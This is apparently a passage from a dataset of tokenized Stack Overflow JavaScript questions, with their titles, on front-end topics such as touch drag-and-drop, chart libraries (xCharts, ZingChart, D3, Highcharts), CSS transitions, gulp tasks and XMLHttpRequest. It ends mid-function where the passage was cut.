element.offsetLeft || 0 ; if ( element.offsetParent == document.body ) if ( element.style.position == 'absolute ' ) break ; element = element.offsetParent ; } while ( element ) ; return { left : valueL , top : valueT } ; } , //getDimensions - courtesy of Prototype ( http : //www.prototypejs.org ) getDimensions : function ( element ) { var display = element.style.display ; if ( display ! = 'none ' & & display ! = null ) // Safari bug return { width : element.offsetWidth , height : element.offsetHeight } ; var els = element.style ; var originalVisibility = els.visibility ; var originalPosition = els.position ; var originalDisplay = els.display ; els.visibility = 'hidden ' ; if ( originalPosition ! = 'fixed ' ) // Switching fixed to absolute causes issues in Safari els.position = 'absolute ' ; els.display = 'block ' ; var originalWidth = element.clientWidth ; var originalHeight = element.clientHeight ; els.display = originalDisplay ; els.position = originalPosition ; els.visibility = originalVisibility ; return { width : originalWidth , height : originalHeight } ; } , //hasClassName - courtesy of Prototype ( http : //www.prototypejs.org ) hasClassName : function ( element , className ) { var elementClassName = element.className ; return ( elementClassName.length > 0 & & ( elementClassName == className || new RegExp ( `` ( ^|\\s ) '' + className + `` ( \\s| $ ) '' ) .test ( elementClassName ) ) ) ; } , //addClassName - courtesy of Prototype ( http : //www.prototypejs.org ) addClassName : function ( element , className ) { if ( ! this.hasClassName ( element , className ) ) element.className += ( element.className ? ' ' : `` ) + className ; return element ; } , //removeClassName - courtesy of Prototype ( http : //www.prototypejs.org ) removeClassName : function ( element , className ) { element.className = this.strip ( element.className.replace ( new RegExp ( `` ( ^|\\s+ ) '' + className + `` ( \\s+| $ ) '' ) , ' ' ) ) ; return element ; } , //strip - courtesy of Prototype ( http : //www.prototypejs.org ) strip : function ( s ) { return s.replace ( /^\s+/ , `` ) .replace ( /\s+ $ / , `` ) ; } } //Description// Droppable fire events when a draggable is dropped on themvar webkit_droppables = function ( ) { this.initialize = function ( ) { this.droppables = [ ] ; this.droppableRegions = [ ] ; } this.add = function ( root , instance_props ) { root = webkit_tools. $ ( root ) ; var default_props = { accept : [ ] , hoverClass : null , onDrop : webkit_tools.empty , onOver : webkit_tools.empty , onOut : webkit_tools.empty } ; default_props = webkit_tools.extend ( default_props , instance_props || { } ) ; this.droppables.push ( { r : root , p : default_props } ) ; } this.remove = function ( root ) { root = webkit_tools. $ ( root ) ; var d = this.droppables ; var i = d.length ; while ( i -- ) { if ( d [ i ] .r == root ) { d [ i ] = null ; this.droppables = webkit_tools.compact ( d ) ; return true ; } } return false ; } //calculate position and size of all droppables this.prepare = function ( ) { var d = this.droppables ; var i = d.length ; var dR = [ ] ; var r = null ; while ( i -- ) { r = d [ i ] .r ; if ( r.style.display ! = 'none ' ) { dR.push ( { i : i , size : webkit_tools.getDimensions ( r ) , offset : webkit_tools.cumulativeOffset ( r ) } ) } } this.droppableRegions = dR ; } this.finalize = function ( x , y , r , e ) { var indices = this.isOver ( x , y ) ; var index = this.maxZIndex ( indices ) ; var over = this.process ( index , r ) ; if ( over ) { this.drop ( index , r , e ) ; } this.process ( -1 , r ) ; return over ; } this.check = function ( x , y , r ) { var indices = this.isOver ( x , y ) ; var index = this.maxZIndex ( indices ) ; return this.process ( index , r ) ; } this.isOver = function ( x , y ) { var dR = this.droppableRegions ; var i = dR.length ; var active = [ ] ; var r = 0 ; var maxX = 0 ; var minX = 0 ; var maxY = 0 ; var minY = 0 ; while ( i -- ) { r = dR [ i ] ; minY = r.offset.top ; maxY = minY + r.size.height ; if ( ( y > minY ) & & ( y < maxY ) ) { minX = r.offset.left ; maxX = minX + r.size.width ; if ( ( x > minX ) & & ( x < maxX ) ) { active.push ( r.i ) ; } } } return active ; } this.maxZIndex = function ( indices ) { var d = this.droppables ; var l = indices.length ; var index = -1 ; var maxZ = -100000000 ; var curZ = 0 ; while ( l -- ) { curZ = parseInt ( d [ indices [ l ] ] .r.style.zIndex || 0 ) ; if ( curZ > maxZ ) { maxZ = curZ ; index = indices [ l ] ; } } return index ; } this.process = function ( index , draggableRoot ) { //only perform update if a change has occured if ( this.lastIndex ! = index ) { //remove previous if ( this.lastIndex ! = null ) { var d = this.droppables [ this.lastIndex ] var p = d.p ; var r = d.r ; if ( p.hoverClass ) { webkit_tools.removeClassName ( r , p.hoverClass ) ; } p.onOut ( ) ; this.lastIndex = null ; this.lastOutput = false ; } //add new if ( index ! = -1 ) { var d = this.droppables [ index ] var p = d.p ; var r = d.r ; if ( this.hasClassNames ( draggableRoot , p.accept ) ) { if ( p.hoverClass ) { webkit_tools.addClassName ( r , p.hoverClass ) ; } p.onOver ( ) ; this.lastIndex = index ; this.lastOutput = true ; } } } return this.lastOutput ; } this.drop = function ( index , r , e ) { if ( index ! = -1 ) { this.droppables [ index ] .p.onDrop ( r , e ) ; } } this.hasClassNames = function ( r , names ) { var l = names.length ; if ( l == 0 ) { return true } while ( l -- ) { if ( webkit_tools.hasClassName ( r , names [ l ] ) ) { return true ; } } return false ; } this.initialize ( ) ; } webkit_drop = new webkit_droppables ( ) ; //Description//webkit draggable - allows users to drag elements with their handsvar webkit_draggable = function ( r , ip ) { this.initialize = function ( root , instance_props ) { this.root = webkit_tools. $ ( root ) ; var default_props = { scroll : false , revert : false , handle : this.root , zIndex : 1000 , onStart : webkit_tools.empty , onEnd : webkit_tools.empty } ; this.p = webkit_tools.extend ( default_props , instance_props || { } ) ; default_props.handle = webkit_tools. $ ( default_props.handle ) ; this.prepare ( ) ; this.bindEvents ( ) ; } this.prepare = function ( ) { var rs = this.root.style ; //set position if ( webkit_tools.getCalculatedStyle ( this.root , 'position ' ) ! = 'absolute ' ) { rs.position = 'relative ' ; } //set top , right , bottom , left rs.top = rs.top || '0px ' ; rs.left = rs.left || '0px ' ; rs.right = `` '' ; rs.bottom = `` '' ; //set zindex ; rs.zIndex = rs.zIndex || ' 0 ' ; } this.bindEvents = function ( ) { var handle = this.p.handle ; this.ts = webkit_tools.bindAsEventListener ( this.touchStart , this ) ; this.tm = webkit_tools.bindAsEventListener ( this.touchMove , this ) ; this.te = webkit_tools.bindAsEventListener ( this.touchEnd , this ) ; handle.addEventListener ( `` touchstart '' , this.ts , false ) ; handle.addEventListener ( `` touchmove '' , this.tm , false ) ; handle.addEventListener ( `` touchend '' , this.te , false ) ; } this.destroy = function ( ) { var handle = this.p.handle ; handle.removeEventListener ( `` touchstart '' , this.ts ) ; handle.removeEventListener ( `` touchmove '' , this.tm ) ; handle.removeEventListener ( `` touchend '' , this.te ) ; } this.set = function ( key , value ) { this.p [ key ] = value ; } this.touchStart = function ( event ) { //prepare needed variables var p = this.p ; var r = this.root ; var rs = r.style ; var t = event.targetTouches [ 0 ] ; //get position of touch touchX = t.pageX ; touchY = t.pageY ; //set base values for position of root rs.top = this.root.style.top || '0px ' ; rs.left = this.root.style.left || '0px ' ; rs.bottom = null ; rs.right = null ; var rootP = webkit_tools.cumulativeOffset ( r ) ; var cp = this.getPosition ( ) ; //save event properties p.rx = cp.x ; p.ry = cp.y ; p.tx = touchX ; p.ty = touchY ; p.z = parseInt ( this.root.style.zIndex ) ; //boost zIndex rs.zIndex = p.zIndex ; webkit_drop.prepare ( ) ; p.onStart ( ) ; } this.touchMove = function ( event ) { event.preventDefault ( ) ; event.stopPropagation ( ) ; //prepare needed variables var p = this.p ; var r = this.root ; var rs = r.style ; var t = event.targetTouches [ 0 ] ; if ( t == null ) { return } var curX = t.pageX ; var curY = t.pageY ; var delX = curX - p.tx ; var delY = curY - p.ty ; rs.left = p.rx + delX + 'px ' ; rs.top = p.ry + delY + 'px ' ; //scroll window if ( p.scroll ) { s = this.getScroll ( curX , curY ) ; if ( ( s [ 0 ] ! = 0 ) || ( s [ 1 ] ! = 0 ) ) { window.scrollTo ( window.scrollX + s [ 0 ] , window.scrollY + s [ 1 ] ) ; } } //check droppables webkit_drop.check ( curX , curY , r ) ; //save position for touchEnd this.lastCurX = curX ; this.lastCurY = curY ; } this.touchEnd = function ( event ) { var r = this.root ; var p = this.p ; var dropped = webkit_drop.finalize ( this.lastCurX , this.lastCurY , r , event ) ; if ( ( ( p.revert ) & & ( ! dropped ) ) || ( p.revert === 'always ' ) ) { //revert root var rs = r.style ; rs.top = ( p.ry + 'px ' ) ; rs.left = ( p.rx + 'px ' ) ; } r.style.zIndex = this.p.z ; this.p.onEnd ( ) ; } this.getPosition = function ( ) { var rs = this.root.style ; return { x : parseInt ( rs.left || 0 ) , y : parseInt ( rs.top || 0 ) } } this.getScroll = function ( pX , pY ) { //read window variables var sX = window.scrollX ; var sY = window.scrollY ; var wX = window.innerWidth ; var wY = window.innerHeight ; //set contants var scroll_amount = 10 ; //how many pixels to scroll var scroll_sensitivity = 100 ; //how many pixels from border to start scrolling from . var delX = 0 ; var delY = 0 ; //process vertical y scroll if ( pY - sY < scroll_sensitivity ) { delY = -scroll_amount ; } else if ( ( sY + wY ) - pY < scroll_sensitivity ) { delY = scroll_amount ; } //process horizontal x scroll if ( pX - sX < scroll_sensitivity ) { delX = -scroll_amount ; } else if ( ( sX + wX ) - pX < scroll_sensitivity ) { delX = scroll_amount ; } return [ delX , delY ] } //contructor this.initialize ( r , ip ) ; } //Description//webkit_click class . manages click events for draggablesvar webkit_click = function ( r , ip ) { this.initialize = function ( root , instance_props ) { var default_props = { onClick : webkit_tools.empty } ; this.root = webkit_tools. $ ( root ) ; this.p = webkit_tools.extend ( default_props , instance_props || { } ) ; this.bindEvents ( ) ; } this.bindEvents = function ( ) { var root = this.root ; //bind events to local scope this.ts = webkit_tools.bindAsEventListener ( this.touchStart , this ) ; this.tm = webkit_tools.bindAsEventListener ( this.touchMove , this ) ; this.te = webkit_tools.bindAsEventListener ( this.touchEnd , this ) ; //add Listeners root.addEventListener ( `` touchstart '' , this.ts , false ) ; root.addEventListener ( `` touchmove '' , this.tm , false ) ; root.addEventListener ( `` touchend '' , this.te , false ) ; this.bound = true ; } this.touchStart = function ( ) { this.moved = false ; if ( this.bound == false ) { this.root.addEventListener ( `` touchmove '' , this.tm , false ) ; this.bound = true ; } } this.touchMove = function ( ) { this.moved = true ; this.root.removeEventListener ( `` touchmove '' , this.tm ) ; this.bound = false ; } this.touchEnd = function ( ) { if ( this.moved == false ) { this.p.onClick ( ) ; } } this.setEvent = function ( f ) { if ( typeof ( f ) == 'function ' ) { this.p.onClick = f ; } } this.unbind = function ( ) { var root = this.root ; root.removeEventListener ( `` touchstart '' , this.ts ) ; root.removeEventListener ( `` touchmove '' , this.tm ) ; root.removeEventListener ( `` touchend '' , this.te ) ; } //call constructor this.initialize ( r , ip ) ; }",modifying webkitdragdrop.js use classes instead of ID "JS : I have a little issue with xCharts that I 'm trying to figure out . I want to display a bar chart that shows a number with the day of the week . I 've gotten it to do this , however I 'm having an issue getting it to show up in the right order . See image below : As you can see , the days of the week are not in the right order . By reading the documentation on their website I can tell it has something to do with providing the option sortX so I tried a bunch of different things which did n't really work for me . Below is the code that I use : The data returned from the JSON request is as follows : Any help is really appreciated . var data3 = { `` xScale '' : `` ordinal '' , `` yScale '' : `` linear '' , `` type '' : `` bar '' , `` main '' : [ { `` className '' : `` .bstats '' , `` data '' : [ { `` x '' : `` Monday '' , `` y '' : 1 } , { `` x '' : `` Tuesday '' , `` y '' : 1 } , { `` x '' : `` Wednesday '' , `` y '' : 1 } , { `` x '' : `` Thursday '' , `` y '' : 1 } , { `` x '' : `` Friday '' , `` y '' : 1 } , { `` x '' : `` Saturday '' , `` y '' : 1 } , { `` x '' : `` Sunday '' , `` y '' : 1 } ] } ] } ; var opts = { `` tickFormatX '' : function ( x ) { return x.substr ( 0 , 3 ) ; } , `` sortX '' : function ( a , b ) { /* Not sure what to do here */ return 0 ; } } ; var myChart = new xChart ( 'bar ' , data3 , ' # day_chart ' , opts ) ; var set = [ ] ; $ .getJSON ( '/dashboard/get/busy-days ' , function ( data ) { $ .each ( data , function ( key , value ) { set.push ( { x : value.x , y : parseInt ( value.y , 10 ) } ) ; } ) ; myChart.setData ( { `` xScale '' : `` ordinal '' , `` yScale '' : `` linear '' , `` main '' : [ { className : `` .bstats '' , data : set } ] } ) ; } ) ; [ { `` x '' : '' Monday '' , `` y '' :48 } , { `` x '' : '' Tuesday '' , `` y '' :65 } , { `` x '' : '' Wednesday '' , `` y '' :67 } , { `` x '' : '' Thursday '' , `` y '' :62 } , { `` x '' : '' Friday '' , `` y '' :83 } , { `` x '' : '' Saturday '' , `` y '' :65 } , { `` x '' : '' Sunday '' , `` y '' :56 } ]",xCharts sorting by day of the week "JS : Ok , I have a situation where I have basically built a little notification dropdown box that happens when the user does something , at the end it transitions to a opacity : 0 ; state.However , because the user may click something else that will trigger this notification box again I am trying to come up with a way to reset it back to normal without affecting any in-progress transitions and attempting to keep the animation done by CSS rather than JavaScript.CodePen : http : //codepen.io/gutterboy/pen/WoEydgHTML : SCSS : JS : I know I can reset it back to normal by doing this in JS : ... however doing this removes the classes before the transition is finished fading out the opacity and it just vanishes straight away.I know I can do a delay in JS to counteract the CSS delay but doing it that way just does n't seem a very good way to do it since you have the timings in 2 different places.Is there any way I can accomplish this whilst keeping the animation done by CSS or will I have to move to using jQuery 's animate so I can run the reset procedure once the animation is complete ? < a href= '' # '' > Open Notify Window < /a > < div id= '' top_notify '' class= '' top-notify '' > < div class= '' container-fluid '' > < div class= '' row '' > < div class= '' content col-xs-12 '' > < div class= '' alert '' role= '' alert '' > < /div > < /div > < /div > < /div > < /div > body { text-align : center ; padding-top : 150px ; } .top-notify { position : fixed ; top : 0 ; width : 100 % ; z-index : 9999 ; .content { text-align : center ; background-color : transparent ; transform-style : preserve-3d ; } .alert { display : inline-block ; transform : translateY ( -100 % ) ; min-width : 250px ; max-width : 500px ; border-top-left-radius : 0 ; border-top-right-radius : 0 ; & .visible { transform : translateY ( 0 % ) ; transition : 0.8s 0s , opacity 1s 3.8s ; opacity : 0 ; } } } $ ( ' a ' ) .on ( 'click ' , function ( e ) { e.preventDefault ( ) ; myFunc ( ) ; } ) ; function myFunc ( ) { // Set file to prepare our data var loadUrl = `` https : //crossorigin.me/http : //codepen.io/gutterboy/pen/ObjExz.html '' ; // Run request getAjaxData ( loadUrl , null , 'POST ' , 'html ' ) .done ( function ( response ) { var alert_el = $ ( ' # top_notify ' ) .find ( '.alert ' ) ; // Update msg in alert box alert_el.text ( response ) ; alert_el.addClass ( 'alert-success ' ) ; // Slide in alert box alert_el.addClass ( 'visible ' ) ; } ) .fail ( function ( ) { alert ( 'Problem ! ! ' ) ; } ) ; // End } function getAjaxData ( loadUrl , dataObject , action , type ) { return jQuery.ajax ( { type : action , url : loadUrl , data : dataObject , dataType : type } ) ; } $ ( ' # top_notify ' ) .find ( '.alert ' ) .removeClass ( ) .addClass ( 'alert ' ) ; // The classes it ends up with vary",Removing classes from element without affecting css transitions in progress "JS : I have a webpage using WebGL on a fullscreen canvas . I have this css to stop selectionAnd I have this code to stop the context menuBut when I touch the screen in chrome iOS it dims . Here 's gif of the issue first showing chrome iOS , then showing safari iOS.Or here 's a youtube versionhttps : //youtu.be/1Znsehs-n8ENote : Ignore the graphics stutter . My screen capture export messed up for some reasonNotice when in chrome the background flashes gray sometimes . When in Safari it 's constantly white . It 's that graying in chrome I 'm trying to stop.It 's really annoying because just tapping the screen ends up effectively flashing the screen and is really distracting.UpdateSo I started trying starting from scratch and adding parts in . It looks like it 's not related to canvas it 's related to listing for click events.If I have It I get the dimming . If I remove that I do n't . Listing for touchstart events does n't cause the dimmingUpdate 2So it 's definately not unrelated to canvas . If I remove the canvas and just use a div but I 'm checking for click I get the dimmingThese CSS settings did not helpThis workedI 'm not sure if there 's any other repercussions for preventDefault on touchstart * , * : before , * : after { -webkit-user-select : none ; -moz-user-select : none ; -ms-user-select : none ; user-select : none ; } gl.canvas.addEventListener ( 'contextmenu ' , function ( e ) { e.preventDefault ( ) ; return false ; } ) ; gl.canvas.addEventListener ( 'click ' , function ( ) { } ) ; * { -webkit-tap-highlight-color : rgba ( 0,0,0,0 ) ; pointer-events : none ; } elem.addEventListener ( 'touchstart ' , function ( e ) { e.preventDefault ( ) ; } ) ;",How do I stop iOS Chrome from dimming on touching a canvas ? "JS : I am using gulp-inject to auto add SASS imports as they are newly created in my project . This works fine , the new SASS files are imported correctly , however when an already imported file is deleted whilst gulp-watch is running it crashes with the following error : I have spent a good few hours trying to work out why it tries to compile an older version of the stylesheet with out of date imports . I set a delay on the SASS task and the imports are correct in the actual file by the time the gulp-sass runs . I have read that gulp-watch may be caching the stylehseet , but really not sure.Below are the relevant bits of my Gulp file , at the bottom is a link to my full gulp file.Here are my watch tasks : ( The components task triggers the SASS task ) SASS taskInject taskFULL GULP FILE : https : //jsfiddle.net/cwu0m1cp/As requested here is the SASS file with the imports , it works fine as long as the watch task is n't running , the imported files contain no CSS : SASS FILE BEFORE DELETE : SASS FILE AFTER DELETE : Error : _dev\style\style.scssError : File to import not found or unreadable : components/_test - Copy.scss Parent style sheet : stdin on line 2 of stdin > > @ import `` components/_test - Copy.scss '' ; // SASSplugins.watch ( [ paths.dev+'/**/*.scss ' , ! paths.dev+'/style/components/**/*.scss ' ] , function ( ) { gulp.start ( gulpsync.sync ( [ 'build-sass ' ] ) ) ; } ) ; // COMPONENTSplugins.watch ( paths.dev+'/style/components/**/*.scss ' , function ( ) { gulp.start ( gulpsync.sync ( [ 'inject-deps ' ] ) ) ; } ) ; gulp.task ( 'build-sass ' , function ( ) { // SASS return gulp.src ( paths.dev+'/style/style.scss ' ) .pipe ( plugins.wait ( 1500 ) ) .pipe ( plugins.sass ( { noCache : true } ) ) .pipe ( gulp.dest ( paths.tmp+'/style/ ' ) ) ; } ) ; gulp.task ( 'inject-deps ' , function ( ) { // Auto inject SASS gulp.src ( paths.dev+'/style/style.scss ' ) .pipe ( plugins.inject ( gulp.src ( 'components/**/*.scss ' , { read : false , cwd : paths.dev+'/style/ ' } ) , { relative : true , starttag : '/* inject : imports */ ' , endtag : '/* endinject */ ' , transform : function ( filepath ) { return ' @ import `` ' + filepath + ' '' ; ' ; } } ) ) /* inject : imports */ @ import `` components/_test.scss '' ; @ import `` components/_test-copy.scss '' ; /* endinject */ /* inject : imports */ @ import `` components/_test.scss '' ; /* endinject */",gulp-inject not working with gulp-watch "JS : I am relatively new to web applications and hence am just beginning to use Angular2 ( have NOT used angularJS ) and Typescript . I am trying to use Zingchart to plot a graph . I went through the 5 min quick start as well as the tutorial in the angular2 page and got a decent idea of how it works . I followed the instructions on the Zingchart page to create a chart on the webpage using the two tools ( https : //blog.zingchart.com/2016/03/16/angular-2-example-zingchart/ ) . However , I seem to be having issues . 1 ) I am not able to import AfterView from @ angular/core . Although the page says that I must be using angular2/core I am using @ angular/core as the source folder to import modules from . angular2/core is not getting recognized.2 ) When there are functions bound to the zingchart object ( example - zingchart.render ( ) , zingchart.exec ( ) ) , there is an error that says zingchart can not be found . I am not sure what is going on wrong here either . import { Component , NgZone , AfterViewInit , OnDestroy } from ' @ angular/core ' ; class Chart { id : String ; data : Object ; height : any ; width : any ; constructor ( config : Object ) { this.id = config [ 'id ' ] ; this.data = config [ 'data ' ] ; this.height = config [ 'height ' ] || 300 ; this.width = config [ 'width ' ] || 600 ; } } @ Component ( { selector : 'zingchart ' , inputs : [ 'chart ' ] , template : ` < div id= ' { { chart.id } } ' > < /div > ` } ) class ZingChart implements AfterViewInit , OnDestroy { chart : Chart ; constructor ( private zone : NgZone ) { } ngAfterViewInit ( ) { this.zone.runOutsideAngular ( ( ) = > { zingchart.render ( { id : this.chart [ 'id ' ] , data : this.chart [ 'data ' ] , width : this.chart [ 'width ' ] , height : this.chart [ 'height ' ] } ) ; } ) ; } ngOnDestroy ( ) { zingchart.exec ( this.chart [ 'id ' ] , 'destroy ' ) ; } } //Root Component @ Component ( { selector : 'my-app ' , directives : [ ZingChart ] , template : ` < zingchart *ngFor= '' # chartObj of charts '' [ chart ] ='chartObj ' > < /zingchart > ` , } ) export class App { charts : Chart [ ] ; constructor ( ) { this.charts = [ { id : 'chart-1 ' , data : { type : 'line ' , series : [ { values : [ 2,3,4,5,3,3,2 ] } ] , } , height : 400 , width : 600 } ] } }",Graphing tools - Angular2 "JS : I am trying to create a special kind of donut chart in D3 which will contain different rings for positive and negative values . The values can be greater than 100 % or less than -100 % so there will be an arc representing the remaining value . Below is the sample image of the chart : The first positive category ( Category_1 - Gray ) value is 80 , so it is 80 % filling the the circle with gray , leaving the 20 % for next positive category . The next positive category value ( Category_2 - Orange ) is 160 . So it is first using the 20 % left by Category_1 ( 140 value left now ) . Then it is filling the next circle ( upward ) 100 % ( 40 value left now ) , and for the remaining value ( 40 ) , it is creating partial-circle upward.Now , we have Category_3 ( dark-red ) as negative ( -120 % ) , so it if creating an inward circle and filling it 100 % ( 20 value left now ) , and then it is creating an inward arc for remaining value ( 20 ) . We have another negative category ( Category_4 - red ) , so it will start from where the previous negative category ( Category_3 ) ended and fill 20 % area from there.Edit 3 : I 've created a very basic arc-based donut chart and when total value is exceeding 100 , I am able to create outer rings for the remaining values . Below is the JSFiddle link : http : //jsfiddle.net/rishabh1990/zmuqze80/Please share some ideas for implementation . data = [ 20 , 240 ] ; var startAngle = 0 ; var previousData = 0 ; var exceedingData ; var cumulativeData = 0 ; var remainder = 100 ; var innerRadius = 60 ; var outerRadius = 40 ; var filledFlag ; var arc = d3.svg.arc ( ) .innerRadius ( innerRadius ) .outerRadius ( outerRadius ) for ( var i = 0 ; i < data.length ; i++ ) { filledFlag = 0 ; exceedingData = 0 ; console.log ( `` -- -- -- -- -- Iteration : `` + ( i + 1 ) + `` -- -- -- -- - '' ) ; if ( data [ i ] > remainder ) { filledFlag = 1 ; exceedingData = data [ i ] - remainder ; console.log ( `` Exceeding : `` + exceedingData ) ; data [ i ] = data [ i ] - exceedingData ; data.splice ( i + 1 , 0 , exceedingData ) ; } if ( filledFlag === 1 ) { cumulativeData = 0 ; } else { cumulativeData += data [ i ] ; } console.log ( `` Previous : `` + previousData ) ; console.log ( `` Data : `` + data , `` Current Data : `` + data [ i ] ) ; var endAngle = ( previousData + ( data [ i ] / 50 ) ) * Math.PI ; console.log ( `` Start `` + startAngle , `` End `` + endAngle ) ; previousData = previousData + data [ i ] / 50 ; //if ( i===1 ) endAngle = 1.4 * Math.PI ; //if ( i===2 ) endAngle = 2 * Math.PI ; var vis = d3.select ( `` # svg_donut '' ) ; arc.startAngle ( startAngle ) .endAngle ( endAngle ) ; vis.append ( `` path '' ) .attr ( `` d '' , arc ) .attr ( `` transform '' , `` translate ( 200,200 ) '' ) .style ( `` fill '' , function ( d ) { if ( i === 0 ) return `` red '' ; //if ( i === 1 ) return `` green '' ; //if ( i === 2 ) return `` blue '' //if ( i === 3 ) return `` orange '' //if ( i === 4 ) return `` yellow '' ; } ) ; if ( exceedingData > 0 ) { console.log ( `` Increasing Radius From `` + outerRadius + `` To `` + ( outerRadius + 40 ) ) ; outerRadius = outerRadius + 22 ; innerRadius = innerRadius + 22 ; arc.innerRadius ( innerRadius ) .outerRadius ( outerRadius ) ; console.log ( `` Outer : `` , outerRadius ) ; } if ( remainder === 100 ) { remainder = 100 - data [ i ] ; } else { remainder = 100 - cumulativeData ; } ; if ( filledFlag === 1 ) { remainder = 100 ; } console.log ( `` Remainder : `` + remainder ) ; startAngle = endAngle ; }",Special donut chart with different rings/arcs for positive and negative values "JS : I 'm working on some old AJAX code , written in the dark dark days before jQuery . Strangely , it has been working fine for years , until today when it suddenly stopped firing its callback . Here 's the basic code : Checking the Firebug console , the request is being sent with no worries , and it is receiving the correct XML from the request URL , but the onreadystatechange function is not working at all . There 's no javascript errors or anything else strange happening in the system.I wish I could just rewrite everything using jQuery , but I do n't have the time right now . What could possibly be causing this problem ? ? A further update - I 've been able to test my code in a different browser ( FFx 3.0 ) and it was working there , so it must be a problem with my browser . I 'm running Firefox 3.5b4 on Vista , and I 've tried it now with all my addons disabled with no luck . It 's still really bugging me because I was working on this site yesterday ( with the same browser setup ) and there were no problems at all ... Actually I just took a look back in my Addons window and saw that Firebug was still enabled . If I disable Firebug , it works perfectly . If I enable it , it 's broken . Firebug version 1.40.a31 var xml = new XMLHttpRequest ( ) ; // only needs to support Firefoxxml.open ( `` GET '' , myRequestURL , true ) ; xml.onreadystatechange = function ( ) { alert ( 'test ' ) ; } ; xml.send ( null ) ;",What might cause an XMLHttpRequest to never change state in Firefox ? "JS : I am rendering SVG image dynamically and created rotated text . If the rotated text is overlap with other text , i need to remove that text . But i ca n't measure the rotated text to create bounds and check with next label text region.I have created 3 SVG element to explain . SVG-1 Shows the overlapped text.SVG-2 Shows the rotated text with overlapped ( Angle-10 ) SVG-3 Shows the rotated text without overlapping ( Angle-50 ) I will rotate the text to any angle dynamically . If it is overlapped while rotating text , I need to remove that overlapped text programmatically .Fiddle linkCan anyone suggest a solution ? < div style= '' width : 150px ; height : 150px ; '' > < svg style= '' width : 250px ; height : 144px ; border : solid black 1px ; '' > < text id= '' XLabel_0 '' x= '' 75 '' y= '' 30 '' > Sprint 13_March_2015 < /text > < text id= '' XLabel_1 '' x= '' 100 '' y= '' 30 '' > DT_Apr2015_Sprint13 < /text > < /svg > < svg style= '' width : 250px ; height : 144px ; border : solid black 1px ; '' > < text id= '' Label_0 '' x= '' 75 '' y= '' 30 '' transform= '' rotate ( 10 , 75 , 34.5 ) '' > Sprint 13_March_2015 < /text > < text id= '' XLabel_1 '' x= '' 100 '' y= '' 30 '' transform= '' rotate ( 10 , 100 , 34.5 ) '' > DT_Apr2015_Sprint13 < /text > < /svg > < svg style= '' width : 250px ; height : 144px ; border : solid black 1px ; '' > < text id= '' XLabel_0 '' x= '' 75 '' y= '' 30 '' transform= '' rotate ( 50,94,34.5 ) '' > Sprint 13_March_2015 < /text > < text id= '' XLabel_1 '' x= '' 100 '' y= '' 30 '' transform= '' rotate ( 50,123,61 ) '' > DT_Apr2015_Sprint13 < /text > < /svg > < /div >",How to get rotated svg text bounds in javascript programmatically "JS : I 'm getting data , but I have to bind those to highchart on the basis of ID , if i click on accordion it should show highchart and table on the basis of ID like given below Here is my codeAnd the Controller < uib-accordion close-others= '' oneAtATime '' > < uib-accordion-group is-open= '' isopen '' ng-init= '' isOpen = $ first '' class= '' acc-group '' style= '' margin-bottom:0 '' > < uib-accordion-heading ng-click= '' isopen= ! isopen '' class= '' header '' > < div > < p class= '' boardRateHeading '' > < span style= '' color : # 009688 '' > { { board.city } } & nbsp ; & nbsp ; < /span > < span style= '' color : # 607D8B ; text-transform : uppercase ; '' > { { board.name } } < /span > & nbsp ; & nbsp ; < span > { { board.date | date : 'MM/dd/yyyy ' } } < /span > < span class= '' pull-right '' > ₹ { { board.price } } ( < span ng-style= '' { { changeColor ( board.change ) } } '' > < i class= '' { { getIcon ( board.change ) } } '' aria-hidden= '' true '' > < /i > { { board.change } } < /span > ) < /span > < /p > < /div > < /uib-accordion-heading > < div class= '' row '' style= '' margin-top:15px ; '' ng-repeat= '' data in boardData '' > < div class= '' col-md-8 '' > < div id= '' container { { data.id } } '' > < img class= '' img-responsive mrg-auto '' src= '' /Content/images/loading.gif '' / > < /div > < /div > < div class= '' col-md-4 '' > < table class= '' table table-bordered table-condesed '' > < thead > < tr > < td > Date < /td > < td > In ₹ < /td > < /tr > < /thead > < tbody > < tr > < td > { { data.date | date : 'MM/dd/yyyy ' } } < /td > < td > ₹ { { data.price } } ( { { board.change } } ) < /td > < /tr > < /tbody > < /table > < /div > < /div > < /uib-accordion-group > < /uib-accordion > $ http ( { method : `` GET '' , url : `` /api/Board/getMapdataOnId '' , params : { id : parseInt ( id ) } } ) .then ( function ( response ) { var boardData = response.data ; var dateData = [ ] , rateData = [ ] ; for ( var i = 0 ; i < boardData.gData.length ; i++ ) { dateData.push ( Date.parse ( boardData.gData [ i ] .date ) ) ; rateData.push ( boardData.gData [ i ] .maxRate ) ; } Highcharts.chart ( 'container ' + parseInt ( id ) , { chart : { zoomType : ' x ' } , title : { text : `` } , subtitle : { text : document.ontouchstart === undefined ? 'Click and drag in the plot area to zoom in ' : 'Pinch the chart to zoom in ' } , credits : { enabled : false } , xAxis : { categories : dateData , type : 'datetime ' , labels : { autoRotation : [ -90 ] , formatter : function ( ) { return Highcharts.dateFormat ( ' % b ' , this.value ) + ' , ' + Highcharts.dateFormat ( ' % d ' , this.value ) ; } } , title : { text : 'Date ' } } , yAxis : { allowDecimals : true , gridLineWidth : 1 , labels : { formatter : function ( ) { return this.value ; } } , // minorTickInterval : 1 , title : { text : 'Price in ' + boardData.gData [ 0 ] .currency } } , tooltip : { formatter : function ( ) { return ' < b > Rates on < /b > < br/ > ' + Highcharts.dateFormat ( ' % b ' , this.x ) + ' , ' + Highcharts.dateFormat ( ' % d ' , this.x ) + ' < br/ > ' + boardData.gData [ 0 ] .currency + `` + this.y ; } } , plotOptions : { area : { fillColor : { linearGradient : { x1 : 0 , y1 : 0 , x2 : 0 , y2 : 1 } , stops : [ [ 0 , Highcharts.getOptions ( ) .colors [ 0 ] ] , [ 1 , Highcharts.Color ( Highcharts.getOptions ( ) .colors [ 0 ] ) .setOpacity ( 0 ) .get ( 'rgba ' ) ] ] } , marker : { radius : 2 } , lineWidth : 1 , states : { hover : { lineWidth : 1 } } , threshold : null } } , series : [ { data : rateData , type : 'area ' , showInLegend : false } ] } ) ; } , function ( response ) { console.log ( response.statusText ) ; } ) ;",How to Load HighChart dynamically within angular UI Accorion ( uib-Accordion ) ? "JS : Is it possible to listen to property changes without the use of Proxy and setInterval ? For common objects you could use the function below but that works for all existing properties but does n't work for any properties that might get added after the wrapping.If the object is an array you could also listen to the length property and reset all the get and set functions when it 's changed . This is obviously not very efficient as it changes the properties of each element whenever an element is added or removed.So I do n't think that Object.defineProperty is the answer.The reason I do n't want to use setInterval is because having big intervals will make the wrapping unreliable whereas having small intervals will have a big impact on the efficiency . function wrap ( obj ) { var target = { } ; Object.keys ( obj ) .forEach ( function ( key ) 